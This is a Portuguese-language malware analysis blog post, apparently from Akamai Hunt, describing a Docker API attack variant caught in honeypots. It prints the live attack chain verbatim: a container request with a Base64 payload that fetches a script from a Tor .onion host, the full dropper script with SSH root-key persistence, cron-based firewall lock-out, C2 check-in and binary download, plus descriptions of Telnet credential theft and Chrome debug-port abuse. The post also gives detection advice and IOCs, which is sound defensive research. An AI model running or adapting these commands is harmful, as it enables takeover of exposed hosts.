Sumário executivo
A equipe do Akamai Hunt descobriu uma nova variante de malware que visa APIs Docker expostas com recursos de infecção ampliados. Ela foi vista pela última vez em agosto de 2025 na infraestrutura de honeypots da Akamai.
O malware foi originalmente relatado em junho de 2025 pela Equipe de Inteligência contra ciberameaças da Trend Micro. A iteração que eles descobriram deixou um minerador de criptomoedas escondido atrás de um domínio Tor.
A equipe do Akamai Hunt observou uma variante que tem um vetor de acesso inicial diferente. Ela bloqueia que outros acessem a API Docker pela Internet.
O binário também é diferente; a variante descoberta pela Akamai Hunt não instala um minerador de criptomoedas, mas sim um arquivo contendo outras ferramentas usadas anteriormente, juntamente com recursos de infecção além dos da variante original.
Esta publicação no blog inclui todos os detalhes técnicos sobre a descoberta inicial, o que difere entre as duas variantes e indicadores de comprometimento (IOCs) para auxiliar na defesa contra essa ameaça.
Introdução
Quanto mais interconectados nossos ecossistemas digitais se tornam, mais lugares os invasores podem se esconder, inclusive mudando de posição quando são pegos. Quando um novo vetor de ameaça ou variante de malware é descoberto e relatado, pode levar apenas algumas horas ou dias para que um agente malicioso modifique esse malware para, mais uma vez, escapar da detecção.
A equipe do Akamai Hunt descobriu uma nova campanha ativa que tem como alvo APIs Docker expostas. Essa nova variante parece usar ferramentas semelhantes às do original, mas pode ter um objetivo final diferente, incluindo possivelmente configurar a base de um botnet complexo.
Esta publicação do blog mergulhará nos detalhes técnicos, cadeia de ataque e mitigações dessa variante de malware.
A ameaça inicial — uma breve sinopse
Em junho de 2025, a equipe de Inteligência contra ciberameaças da Trend Micro relatou um malware que visavam APIs remotas expostas do Docker para instalar um minerador de criptomoedas. Os autores do malware também usaram Tor para mascarar sua identidade.
Os invasores inicialmente obtiveram acesso visando APIs Docker mal configuradas, o que lhes permitiu executar um novo contêiner baseado na imagem Docker alpine e montar o sistema de arquivos do host nele. Em seguida, eles executaram uma carga útil codificada em Base64 que baixou um script shell malicioso de um servidor .onion que modificou as configurações SSH no host para persistência.
O baixador também instalou várias ferramentas, incluindo masscan e torsocks, e transmitiu informações do sistema para o servidor de comando e controle (C2) do invasor através do Tor. Os invasores subsequentemente baixaram e executaram um binário compactado com Zstandard contendo um minerador de criptomoeda XMRig.
Nossa investigação
Como parte de uma pesquisa de rotina, detectamos uma solicitação HTTP para nossa API Docker de vários endereços IP que estava tentando criar um novo contêiner em um de nossos servidores (Figura 1). Isso chamou a nossa atenção e iniciamos a sondagem.
{
"Image": "alpine:latest",
"Cmd": [
"sh",
"-c",
"export IP=<honeypot_ip>; echo YXBrIHVwZGF0ZSAmJiBhcGsgYWRkIGN1cmwgdG9yICYmIHRvciAmIHdoaWxlICEgY3VybCAtZnMgLS1wcm94eSBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgaHR0cHM6Ly9jaGVja2lwLmFtYXpvbmF3cy5jb207IGRvIHNsZWVwIDEwOyBkb25lOyBjdXJsIC1mcyAtLXByb3h5IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCBodHRwOi8vd3R4cWY1NGRqaHA1cHNrdjJsZnlkdXViNWlldnhieXZsempnam9wazZoeGdlNXVtb21icjYzYWQub25pb24vc3RhdGljL2RvY2tlci1pbml0LnNoIHwgc2g= | base64 -d | sh"
],
"Tty": true,
"HostConfig": {
"Binds": [
"/:/hostroot:rw"
],
"RestartPolicy": {
"MaximumRetryCount": 0,
"Name": "always"
}
}
}O invasor montou o sistema de arquivos do host e executou um script codificado em Base64. Esse foi um comportamento anormal que mereceu investigação adicional para descobrir o objetivo do contêiner recém-criado. Após decodificar a amostra, descobrimos que o objetivo era configurar o contêiner e buscar um script de um domínio Tor (Figura 2).
apk update && apk add curl tor && tor & while ! curl -fs --proxy socks5h://localhost:9050 https://checkip.amazonaws.com; do sleep 10; done; curl -fs --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/static/docker-init.sh | shEste script tem duas etapas:
- Estágio 1: Preparação do ambiente
- Instala o curl e o tor
- Inicia um daemon Tor em segundo plano
- Obtém o IP público da vítima usando checkip.amazonaws.com
- Estágio 2: Recuperação e execução
- Busca um script chamado docker-init.sh de um domínio Tor (Figura 3)
#!/bin/sh
echo "Karuizawa running..."
if [ -d "/hostroot" ]; then
SC="/hostroot/etc/ssh/sshd_config";{ printf "PermitRootLogin yes\nPubkeyAuthentication yes\n"; cat $SC; } > t.txt && mv t.txt $SC && echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBAHTVlJAQr3MiANW6KZjiPrzlIsVXkATKxKGrwFM4ylE31c4psnz1NdsKVSG7mVmB3bjmBRL3d4JmpKNByGPXeF9LgAOU4t5Olcwhl0x+ci8zwg6xV+dq/YABOxNZr5MI1dVfkmZ86+iGRnt03TB28n0RH1zbJ+x21jw5iJSwoUe+rkD1A==" >> /hostroot/root/.ssh/authorized_keys
echo "* * * * * root echo 'aWYgY29tbWFuZCAtdiBzeXN0ZW1jdGwgJj4gL2Rldi9udWxsOyB0aGVuCiAgICBzeXN0ZW1jdGwgcmVsb2FkIHNzaGQgMj4vZGV2L251bGwgfHwgc3lzdGVtY3RsIHJlbG9hZCBzc2gKZWxpZiBbIC14IC9ldGMvaW5pdC5kL3NzaCBdOyB0aGVuCiAgICAvZXRjL2luaXQuZC9zc2ggcmVsb2FkCmVsaWYgWyAteCAvZXRjL2luaXQuZC9zc2hkIF07IHRoZW4KICAgIC9ldGMvaW5pdC5kL3NzaGQgcmVsb2FkCmVsc2UKICAgIGVjaG8gImVyciIKZmkKClBPUlQ9MjM3NQpQUk9UT0NPTD10Y3AKCmZvciBmdyBpbiBmaXJld2FsbC1jbWQgdWZ3IHBmY3RsIGlwdGFibGVzIG5mdDsgZG8KICBpZiBjb21tYW5kIC12ICIkZnciID4vZGV2L251bGwgMj4mMTsgdGhlbgogICAgY2FzZSAiJGZ3IiBpbgogICAgICBmaXJld2FsbC1jbWQpCiAgICAgICAgZmlyZXdhbGwtY21kIC0tcGVybWFuZW50IC0tem9uZT1wdWJsaWMgLS1hZGQtcmljaC1ydWxlPSJydWxlIGZhbWlseT0naXB2NCcgcG9ydCBwb3J0PScke1BPUlR9JyBwcm90b2NvbD0nJHtQUk9UT0NPTH0nIHJlamVjdCIKICAgICAgICBmaXJld2FsbC1jbWQgLS1yZWxvYWQKICAgICAgICA7OwogICAgICB1ZncpCiAgICAgICAgdWZ3IGRlbnkgIiR7UE9SVH0vJHtQUk9UT0NPTH0iCiAgICAgICAgdWZ3IHJlbG9hZAogICAgICAgIDs7CiAgICAgIHBmY3RsKQogICAgICAgIGVjaG8gImJsb2NrIGRyb3AgcHJvdG8gJHtQUk9UT0NPTH0gZnJvbSBhbnkgdG8gYW55IHBvcnQgJHtQT1JUfSIgfCBwZmN0bCAtYSBjdXN0b21fYmxvY2sgLWYgLQogICAgICAgIDs7CiAgICAgIGlwdGFibGVzKQogICAgICAgIGlwdGFibGVzIC1JIElOUFVUIDEgLXAgIiR7UFJPVE9DT0x9IiAtLWRwb3J0ICIke1BPUlR9IiAtaiBEUk9QCiAgICAgICAgOzsKICAgICAgbmZ0KQogICAgICAgIGlmICEgbmZ0IGxpc3QgdGFibGVzIHwgZ3JlcCAtcSAiaW5ldCI7IHRoZW4KICAgICAgICAgIG5mdCBhZGQgdGFibGUgaW5ldAogICAgICAgICAgbmZ0IGFkZCBjaGFpbiBpbmV0IGZpbHRlciB7IHR5cGUgZmlsdGVyIGhvb2sgaW5wdXQgcHJpb3JpdHkgMCBcOyB9CiAgICAgICAgZmkKICAgICAgICBuZnQgYWRkIHJ1bGUgaW5ldCBmaWx0ZXIgaW5wdXQgIiR7UFJPVE9DT0x9IiBkcG9ydCAiJHtQT1JUfSIgZHJvcAogICAgICAgIDs7CiAgICBlc2FjCiAgICBicmVhawogIGZpCmRvbmUKCmVjaG8gIiIgPiAvZXRjL2Nyb250YWIK' | base64 -d | sh" >> /hostroot/etc/crontab
fi
apk add masscan libpcap libpcap-dev zstd torsocks
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"
zstd -d /tmp/system.zst -o /tmp/system
chmod +x /tmp/system
ulimit -n 65535
/tmp/system
sleep 30Análise do docker-init.sh
A análise do script na Figura 3 indica que ele executa várias etapas de persistência e evasão de defesa, incluindo negar acesso futuro à instância exposta, algo que não vimos em variantes anteriores.
Persistência root via SSH: O script adiciona uma chave pública controlada pelo invasor a /root/.ssh/authorized_keys.
Instalação: O script adiciona ferramentas para propagação, persistência e evasão (masscan, libpcap, libpcap-dev, zstd, e torsocks).
- Domínio do acesso: Ao escrever o comando codificado em Base64 no script em /hostroot/etc/crontab, o invasor cria uma tarefa cron que executa a cada minuto e itera sobre vários utilitários de firewall (firewall-cmd, ufw, pfctl, iptables, nft) para bloquear o acesso à porta 2375 (a API Docker; Figura 4).
PORT=2375
PROTOCOL=tcp
for fw in firewall-cmd ufw pfctl iptables nft; do
if command -v "$fw" >/dev/null 2>&1; then
case "$fw" in
firewall-cmd)
firewall-cmd --permanent --zone=public --add-rich-rule="rule family='ipv4' port port='${PORT}' protocol='${PROTOCOL}' reject"
firewall-cmd --reload
;;
ufw)
ufw deny "${PORT}/${PROTOCOL}"
ufw reload
;;
pfctl)
echo "block drop proto ${PROTOCOL} from any to any port ${PORT}" | pfctl -a custom_block -f -
;;
iptables)
iptables -I INPUT 1 -p "${PROTOCOL}" --dport "${PORT}" -j DROP
;;
nft)
if ! nft list tables | grep -q "inet"; then
nft add table inet
nft add chain inet filter { type filter hook input priority 0 \; }
fi
nft add rule inet filter input "${PROTOCOL}" dport "${PORT}" drop
;;
esac
break
fi
doneO arquivo crontab está no próprio host, já que o invasor o montou quando criou o contêiner. Esta é uma tática de superioridade; ou seja, o invasor bloqueia a vítima para seu uso exclusivo, negando a outros invasores o acesso futuro à instância exposta. Esta é uma nova seção no código que não vimos em variantes anteriores, que atualmente não é detectada pelo VirusTotal.
O invasor então envia uma solicitação POST de volta para seu servidor C2, indicando que um serviço Docker foi comprometido (Figura 5).
curl --proxy socks5h://localhost:9050 http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/bot/add -X POST -H "Content-Type: application/json" -d '{"enter": "docker", "ip": "'$IP'", "arch": "'$(uname -m)'" }'Uma vez que a comunicação com o C2 é estabelecida, o script baixa um binário compactado de outro serviço Tor (Figura 6).
torsocks wget -O /tmp/system.zst "http://2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion:9000/binary/system-linux-$(uname -m).zst"Análise do binário
O primeiro arquivo baixado é um dropper escrito em Go que inclui o conteúdo que deseja baixar, para que não se comunique com a Internet.
Além de descartar outro arquivo binário, ele analisa o arquivo utmp para descobrir quem está conectado ao computador no momento.
A Figura 7 mostra o dropper, que inclui um emoji de “usuário”. Este é um artefato interessante, pois provavelmente indica que foi escrito com ajuda de um modelo de linguagem grande (LLM), muitos dos quais são notórios por incluir emojis em seu código.
Fig. 7: Screenshot of a binary file (with an emoji) that is trying to identify who is logged into the machine
O arquivo solto (dockerd) executa o masscan, uma ferramenta de varredura de portas ideal para varreduras massivas como esta (Figura 8). Ele procura outras portas 2375 abertas (serviços da API do Docker). Se encontrar um, tenta infectá-lo usando o mesmo método, criando um contêiner com o comando Base64 apresentado na Figura 1.
Fig. 8: Screenshot of binary initiating masscan
Enquanto os dois primeiros pontos de extremidade (Get, Start) são usados para a propagação do malware, os dois últimos (Stop, Remove) parecem ser usados para identificar contêineres maliciosos implantados por outros invasores (Figura 9).
Fig. 9: Searching for ubuntu containers
Essa identificação é feita por meio da busca por contêineres ubuntu, pois nossos dados mostram que muitos agentes de ameaças implantam contêineres ubuntu com mineradores de criptomoedas. A maioria dos incidentes em nossos honeypots incluiu um acesso inicial por meio de um contêiner ubuntu ou alpine, seguido por um curl para um domínio malicioso para baixar um malware.
Procura por amigos
A infecção inicial, no entanto, não é suficiente para essa variante. O agente malicioso usa o mesmo comando Base64 que vimos na Figura 1, juntamente com outros parâmetros, para criar um novo contêiner malicioso no destino exposto que foi encontrado durante a execução do masscan (Figura 10).
Fig. 10: Building the body request for the container infection
Embora o masscan verifique apenas a porta 2375, o binário também inclui verificações para duas portas adicionais, 23 (Telnet) e 9222 (porta de depuração remota para navegadores Chromium), com o que parecem ser técnicas de infecção para cada uma delas.
Conforme podemos determinar, como o malware apenas escaneia a porta 2375, a lógica para lidar com as portas 23 e 9222 está atualmente inacessível e não será executada. No entanto, a implementação existe, o que pode indicar capacidades futuras.
Porta 23
Para a porta 23 (Telnet), o malware usa um conjunto de credenciais conhecidas e padrão de roteadores e dispositivos (por exemplo, Alphanetworks:wrgg15_di524 ou PSEAdmin:$secure$). Ele registra os logins bem-sucedidos e os envia para um ponto de extremidade webhook[.]site (4fea5cbb-8863-4f25-862a-fd8f02095207) com o IP de destino e as credenciais de autenticação da vítima.
Curiosamente, também assume que, se o login foi bem-sucedido ao empregar o usuário “root”, então o destino é um honeypot. Essa suposição provavelmente se baseia no fato de que o Telnet ignora logins root com configuração padrão (Figura 11).
Fig. 11: Sending Telnet credentials to a webhook
Porta 9222
A porta 9222 é a porta padrão de depuração remota para o Google Chrome e o Chromium, usada para expor o protocolo DevTools. Se deixado aberto para a Internet, pode permitir o controle remoto do navegador e representar um risco de segurança.
O malware usa chromedp, uma biblioteca Go que interage com navegadores Chrome ou Chromium. No passado, ele foi usado indevidamente para burlar o recurso de criptografia vinculado às aplicações do Chrome, conectar-se remotamente a sessões do Chromium e roubar cookies e outros dados privados.
Em nossa variante, o malware usa NewRemoteAllocator e NewContext com o parâmetro http://<scanned_ip>:9222 para se conectar a uma sessão existente com a porta remota aberta (Figura 12).
Fig. 12: The use of NewRemoteAllocator and NewContext
Ele navega até http://checkip.amazonaws.com e consulta o corpo da página. Exceto por essa ação, não vimos nenhuma outra atividade dentro desse vetor. Também não conseguimos encontrar versões mais complexas desse malware.
Por fim, se a obtenção do corpo for bem-sucedida, ele chama uma função chamada addHttpbot que envia uma solicitação POST para http://wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion/httpbot/add (observe o prefixo do ponto de extremidade http) a partir do IP exposto, com o IP de origem no qual o malware está e o destino ao qual ele encontrou acesso na porta 9222.
Teoricamente, em variantes futuras, o adversário pode ter várias ações maliciosas após acessar uma porta de depuração remota, incluindo:
- Roubo de dados confidenciais como cookies ou números de cartão de crédito
- Acesso a informações restritas do lado de fora, como metadados de nuvem
- Realização de ataques de negação de serviço distribuída (DDoS)
- Download de arquivos remotos
Também é importante observar que, ao expor um navegador Chrome por meio de --remote-debugging-port, por padrão ele só escuta solicitações do localhost. Qualquer pessoa que exponha esta porta à Internet precisa definir especificamente --remote-debugging-address.
O arquivo também consulta ip-api para entender seu ASN e geolocalização, especificamente em uma função chamada IsAWSIP, embora não tenhamos encontrado nenhuma evidência de abuso específico da AWS ou lógica adicional relacionada. Pode ter lógica em uma versão futura do malware.
Alguns dos mecanismos subjacentes nos levam a acreditar que esta variante é uma versão inicial de um botnet complexo, mas até agora não encontramos uma versão completa dele.
Detecção da ameaça
Você pode usar qualquer combinação destas técnicas para detectar possíveis infecções deste malware ou outros vetores semelhantes:
Verifique se há contêineres recém-implantados que executam uma aplicação instaladora (como apt ou yum) e, em seguida, um baixador (como curl ou wget) imediatamente depois. Muitos invasores usam esse método para executar código remotamente em instâncias Docker expostas.
Procure por novas conexões da Internet para as portas 2375, 9222 ou 23. Além disso, o uso de ferramentas de varredura em sua rede pode indicar atividade de reconhecimento.
Monitore comandos codificados em Base64 e verifique anomalias em onde foram executados, por quem foram executados e, claro, monitore qual é o conteúdo decodificado desses comandos.
Monitore as aplicações de baixadores. Detectar acessos anormais a domínios suspeitos a partir desse tipo de processo é crucial para detectar o acesso inicial a partir da web.
Procure os principais serviços que param de atender. Quando há um serviço em seu ambiente que fica constantemente conectado a uma porta específica e, de repente, para sem motivo aparente, isso pode ser suspeito.
Observe novos contêineres montados com o sistema de arquivos do host. Quando um contêiner recém-implantado é iniciado com acesso a caminhos sensíveis do host (por exemplo, /, /var/run/docker.sock, /etc), isso pode indicar uma tentativa de escapar dos limites do contêiner ou obter controle elevado sobre o host.
Os clientes da equipe do Akamai Hunt se beneficiam de monitoramento contínuo 24 horas por dia, 7 dias da semana, garantindo que anomalias como essas sejam rapidamente detectadas e investigadas antes que possam escalar em ameaças reais.
Prevenção e mitigação
Quer você descubra uma infecção ou esteja tentando evitar que ela ocorra, estas quatro sugestões podem ajudar a manter seu ambiente mais seguro.
Segmentação de rede: Isole seu ambiente Docker de outras partes da sua rede. Use segmentação de rede para limitar a capacidade de invasores de se moverem lateralmente dentro da sua infraestrutura e limitar o acesso à API Docker.
Exposição: Exponha o menor número possível de serviços à Internet. Este malware explora as portas 2375, 9222 e 23 acessando-as pela internet, e bloquear tal acesso pode mitigar totalmente a ameaça.
Porta do depurador do Chrome: Ao usar a porta do depurador do Chrome (9222), use endereços IP remotos específicos — não 0.0.0.0.
Rotação de senha: Ao instalar um novo dispositivo, altere as credenciais padrão para uma senha forte.
Destaque da técnica: Projeto Beelzebub
Para o honeypot em que essa variante foi descoberta, utilizamos a excelente arquitetura do projeto honeypot Beelzebub, de Mario Candela.
Beelzebub é uma estrutura de honeypot de código aberto que facilita a simulação de serviços de alta interação com o mínimo de esforço por parte do pesquisador. Ao escrever arquivos YAML simples para cada serviço, você pode imitar protocolos ou APIs inteiros com base em padrões de requisição/resposta (Figura 13).
Há também a opção de conectar um LLM para gerar respostas dinâmicas, assim os invasores pensarão que estão conversando com uma API quando na verdade é um LLM imitando a resposta real da API.
- regex: "^/_ping/?$"
headers:
- "Content-Type: text/plain; charset=utf-8"
- "Server: Docker/24.0.7 (linux)"
- "Api-Version: 1.43"
- "Docker-Experimental: false"
- "Ostype: linux"
statusCode: 200
handler: "OK"Este trecho diz ao Beelzebub como responder quando um invasor consulta o endpoint /_ping da API Docker. Em vez de simplesmente ignorar a solicitação, o honeypot responde com cabeçalhos e metadados que fazem com que pareça um servidor Docker 24.0.7 real rodando em Linux. O manipulador retorna um simples “OK”, exatamente como um daemon Docker genuíno faria.
Você pode encontrar nosso YAML completo da API Docker em nosso GitHub.
Em busca de monitoramento proativo?
Esta variante recém-descoberta de malware Docker destaca a necessidade de a comunidade de pesquisa continuar seu trabalho valioso para ajudar os defensores. Os invasores continuam à frente da curva: muitas vezes, eles usam ameaças ou vulnerabilidades conhecidas e as ajustam apenas o suficiente para evitar a detecção ou, pior ainda, se preparam para causar ainda mais estragos no futuro.
Os invasores podem obter controle significativo sobre os sistemas afetados por APIs violadas. A importância de segmentar redes, limitar a exposição de serviços à Internet e proteger credenciais padrão não pode ser subestimada. Ao adotar essas medidas, as organizações podem reduzir significativamente sua vulnerabilidade a tais ameaças.
A equipe do Akamai Hunt continua a monitorar e relatar descobertas de incidentes do mundo real para proteger nossos clientes e a comunidade de segurança em geral. Siga-nos nas redes sociais ou em nossa página principal de pesquisa para acompanhar as últimas descobertas da equipe do Hunt e do restante do ecossistema do Akamai Security Intelligence Group.
IOCs
IOC |
Tipo |
|---|---|
wtxqf54djhp5pskv2lfyduub5ievxbyvlzjgjopk6hxge5umombr63ad[.]onion |
Domain |
2hdv5kven4m422wx4dmqabotumkeisrstzkzaotvuhwx3aebdig573qd[.]onion |
Domain |
webhook[.]site/4fea5cbb-8863-4f25-862a-fd8f02095207 |
URL |
C38e013ed9aa1ef46411bef9605f7a41823f3eefebb8b30b9e35f39723c14d7c - docker-init.sh |
Hash |
649974453ed40b72d08d378d72d43161ed5bd093a4f80eb5285f75e16fedbeb2 - system |
Hash |
9451d3dc4b0ff9ea6afa503ffbfcd877944cac0860d6a0b8779c2bb5d03d3446 - dockerd |
Hash |
O que é o Akamai Hunt?
O Akamai Hunt é um serviço proativo e prático de caça a ameaças que monitora continuamente anomalias e ameaças potenciais, garantindo a detecção e investigação rápidas antes que elas se transformem em ameaças reais.
Temos visibilidade sobre as técnicas, ferramentas e comportamentos mais recentes dos invasores apoiados pela extensa infraestrutura de honeypot da Akamai e interação direta com o ambiente do cliente. Isso nos permite validar hipóteses contra atividade real de invasores, enriquecer nossas detecções com inteligência de primeira mão e antecipar ameaças antes que alcancem os ambientes de nossos clientes.
Tags
